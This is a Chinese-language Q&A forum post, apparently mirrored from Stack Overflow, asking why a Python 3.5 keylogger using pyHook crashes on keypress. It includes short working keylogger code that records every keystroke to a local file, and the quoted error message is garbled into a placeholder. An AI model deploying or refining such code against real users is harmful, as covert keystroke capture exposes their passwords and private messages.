Python(3.5.2)键盘记录器E

2024-05-16 17:47:01 发布

您现在位置:Python中文网/ 问答频道 /正文

我一直在尝试编写一个Python键盘记录器(出于教育目的)。代码如下:

import pythoncom, pyHook

def OnKeyboardEvent(event):
    keylog = chr(event.Ascii)
    with open("log.txt", "a") as f:
        f.write(keylog)

    return True

hook_manager = pyHook.HookManager()
hook_manager.KeyDown = OnKeyboardEvent
hook_manager.HookKeyboard()
pythoncom.PumpMessages()

我运行了脚本,当我输入一些内容时,它崩溃了,并显示以下错误消息:

^{2}$

我想不出问题出在哪里。我(几乎)搜索了reddit、stackoverflow等的每一个线程,但我注意到,python2.7的用户似乎能够运行类似的脚本。另一个线程说pyHook中有一个bug,需要重新构建。在

现在我不知道该怎么办。我的代码有问题吗?有什么想法吗?在

谢谢。在


Tags: 代码import目的脚本eventdefmanagerhook